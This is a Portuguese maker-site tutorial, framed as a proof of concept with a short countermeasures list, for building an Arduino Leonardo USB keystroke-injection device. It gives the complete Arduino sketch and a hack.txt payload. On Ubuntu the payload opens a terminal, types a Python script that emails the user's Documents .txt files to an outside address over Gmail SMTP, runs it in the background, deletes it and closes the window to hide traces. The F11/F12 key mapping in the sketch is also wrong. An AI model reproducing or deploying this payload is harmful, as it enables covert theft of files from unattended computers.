Manufaturação industrial
Internet das coisas industrial | Materiais industriais | Manutenção e reparo de equipamentos | Programação industrial |
home  MfgRobots >> Manufaturação industrial >  >> Manufacturing Technology >> Processo de manufatura

Prevenção de Ataques USB HID: Demonstração de Exploração de Teclado com Arduino Leonardo

Componentes e Materiais

Arduino Leonardo 1
Leitor de cartão micro SD 1
Cartão SD (alguns GB) 1
Pushbutton 3 pinos (com resistor) 1
Fios jumper (genéricos) 1
Cabo USB-A para Micro-USB 1

Sobre o Projeto

Neste projeto, usamos um Arduino Leonardo para simular um possível ataque USB usando HID (Dispositivo de Interface Humana). Este tutorial foi criado não para ajudar hackers, mas para mostrar perigos reais e como se proteger deles. Este dispositivo é mais uma prova de conceito detalhada.

Vamos aprender:

Passo 1: Materiais

Passo 2: Construindo o Dispositivo

Princípio de Funcionamento

O Arduino Leonardo pode se comportar como um HID, emulando mouse e teclado. Usaremos isso para abrir um terminal (no Ubuntu Linux) e escrever um script que acessa a pasta /Documents do usuário, copia arquivos .txt e os envia por e-mail.

Por ser um dispositivo de demonstração, não precisamos soldar nada.

Instruções de Montagem

  1. Monte os componentes:
    • Conecte o cabo micro USB no Arduino
    • Conecte a chave ao Arduino (GND, VCC e saída do módulo no pino D8)
    • Conecte o leitor de cartão ao Arduino (usando o header ICSP). O Leonardo não tem o ICSP conectado aos pinos digitais, então conecte o leitor ao header ICSP. Conecte o pino SS ao pino digital 10.
  2. Obtenha o código do Arduino no GitHub: repositório (pasta projects/keyboard_exploit) ou use o código abaixo.
  3. Carregue o código no Arduino (selecione 9600 baud, porta serial e Arduino Leonardo)
  4. Formate o cartão SD em FAT16 ou FAT32
  5. Copie o arquivo hack.txt para o cartão (disponível no repositório ou abaixo)
  6. Edite as linhas de e-mail no arquivo hack.txt com seus endereços
  7. Remova o cartão e insira no leitor do Arduino

Arquivo hack.txt (comandos para o Arduino)

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'
subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)
def sendMail(to, subject, text, files=[]):
    msg = MIMEMultipart()
    msg['From'] = smtp_user
    msg['To'] = COMMASPACE.join(to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject
    msg.attach(MIMEText(text))
    for file in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(file,"rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
        msg.attach(part)
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(smtp_user, smtp_pass)
    server.sendmail(smtp_user, to, msg.as_string())
    server.quit()
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4

Passo 3: Como Funciona em Detalhes

Como o Ataque Funciona

  1. Quando o botão é pressionado, o Leonardo lê o cartão SD. O arquivo "hack.txt" contém teclas e combinações.
  2. O arquivo pode conter texto bruto (enviado como digitação) ou comandos especiais:
    • Sleep::200 = pausa de 200 ms
    • Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t = pressiona Ctrl+Alt+T e solta tudo
  3. O Leonardo lê linha a linha e emula as teclas. O arquivo executa (para Ubuntu):
    1. Abre terminal (CTRL+ALT+T)
    2. Abre arquivo Python com vi ("vi hack.py")
    3. Escreve script que coleta arquivos .txt da pasta Documents e envia por e-mail
    4. Executa em background ("nohup python hack.py &")
    5. Deleta o arquivo (rm -rf hack.py)
    6. Fecha terminal (ALT+F4)

Tudo ocorre em segundos sem deixar rastros.

Melhorias e Solução de Problemas

Limitações

  1. Sem feedback do dispositivo simulado, precisamos de delays arbitrários
  2. Problemas de permissão (acesso USB, instalação)
  3. Velocidade de digitação não é ideal
  4. Funciona apenas no SO alvo (no caso, Ubuntu Linux)

Passo 4: Contramedidas

  1. Desativar portas USB: Windows
  2. Lista branca de dispositivos USB: Windows
  3. Bloqueie o computador quando sair
  4. Não use root (exija senha para instalações)
  5. Mantenha-se atualizado (atualizações automáticas ativadas)

Código do Arduino (keyboard_exploit.ino)

#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"

String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int previousButtonState = HIGH;

void setup() {
  pinMode(buttonPin, INPUT);
  Serial.begin(9600);
  Keyboard.begin();
  if (!SD.begin(chipSelect)) {
    Serial.println("Card failed, or not present!");
    return;
  }
}

void loop() {
  int buttonState = digitalRead(buttonPin);
  if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
    sdFileToKeyboard();
    Serial.println("Uploaded!");
    delay(500);
  }
  previousButtonState = buttonState;
}

void sdFileToKeyboard() {
  File dataFile = SD.open(filenameOnCard);
  if (!dataFile) {
    Serial.println("The specified filename is not present on SD card, check filenameOnCard !");
    return;
  }
  String line;
  while (dataFile.available()) {
    line = dataFile.readStringUntil('\n');
    Serial.println(line);
    sendToKeyboard(line);
  }
  dataFile.close();
}

void sendToKeyboard(String line) {
  String workingLine = line;
  if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
    sleepFor(line);
    return;
  }
  if (workingLine.indexOf(commandStartingPoint) == -1) {
    Serial.print("Text:"); Serial.println(line);
    Keyboard.println(line);
    pressEnter();
    return;
  }
  Serial.println("Command:");
  int charPosition = commandStartingPoint.length();
  workingLine += ",";
  while (workingLine != "") {
    workingLine = workingLine.substring(charPosition);
    Serial.print("WorkingLine:"); Serial.println(workingLine);
    int specialCommandDelimiterPosition = workingLine.indexOf(",");
    String command = workingLine.substring(0, specialCommandDelimiterPosition);
    charPosition = specialCommandDelimiterPosition + 1;
    if (command != "") {
      Serial.print("Command found:"); Serial.println(command);
      Keyboard.press(getCommandCode(command));
      delay(delayBetweenCommands);
    }
  }
  Keyboard.releaseAll();
  delay(delayBetweenCommands);
}

void pressEnter() {
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void sleepFor(String line) {
  int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
  Serial.print("Sleeping for:"); Serial.println(sleepAmount);
  delay(sleepAmount);
}

char getCommandCode(String text) {
  char textCharacters[2];
  text.toCharArray(textCharacters, 2);
  char code = textCharacters[0];
  code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
  code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
  code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
  code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
  code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
  code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
  code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
  code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
  code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
  code = (text == "KEY_TAB") ? KEY_TAB : code;
  code = (text == "KEY_RETURN") ? KEY_RETURN : code;
  code = (text == "KEY_ESC") ? KEY_ESC : code;
  code = (text == "KEY_INSERT") ? KEY_INSERT : code;
  code = (text == "KEY_DELETE") ? KEY_DELETE : code;
  code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
  code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
  code = (text == "KEY_HOME") ? KEY_HOME : code;
  code = (text == "KEY_END") ? KEY_END : code;
  code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
  code = (text == "KEY_F1") ? KEY_F1 : code;
  code = (text == "KEY_F2") ? KEY_F2 : code;
  code = (text == "KEY_F3") ? KEY_F3 : code;
  code = (text == "KEY_F4") ? KEY_F4 : code;
  code = (text == "KEY_F5") ? KEY_F5 : code;
  code = (text == "KEY_F6") ? KEY_F6 : code;
  code = (text == "KEY_F7") ? KEY_F7 : code;
  code = (text == "KEY_F8") ? KEY_F8 : code;
  code = (text == "KEY_F9") ? KEY_F9 : code;
  code = (text == "KEY_F10") ? KEY_F10 : code;
  code = (text == "KEY_F11") ? KEY_F1 : code;
  code = (text == "KEY_F12") ? KEY_F2 : code;
  return code;
}

Esquemático

Diagrama Fritzing do circuito. Repositório no GitHub: github.com/danionescu0/arduino (projeto em projects/keyboard_exploit)

Processo de manufatura

  1. Crie Animações e Jogos Envolventes em LCD com Arduino UNO
  2. Construa um Voltímetro Inteligente com Arduino e Smartphone – Projeto DIY Fácil
  3. Registrador de Temperatura e Umidade com Arduino, DHT11 e Ethernet Shield
  4. Transforme seu Teclado MIDI em Tutor de Piano Inteligente com Arduino, LEDs e MuseScore
  5. Python 3 para Arduino UNO: Controle de Comandos Fácil e Demo com LED
  6. Autômatos Celulares em Tempo Real no Arduino com Display OLED 128x64
  7. Construa um Rádio FM Compacto com Arduino Nano e RDA5807M
  8. Sistema de Presença em Tempo Real com RFID, Arduino e Google Sheets
  9. Teclado Prototípico de 64 Teclas com Arduino: Matriz com Registradores de Deslocamento
  10. Construa uma Calculadora Arduino com Display LCD 16x2 e Teclado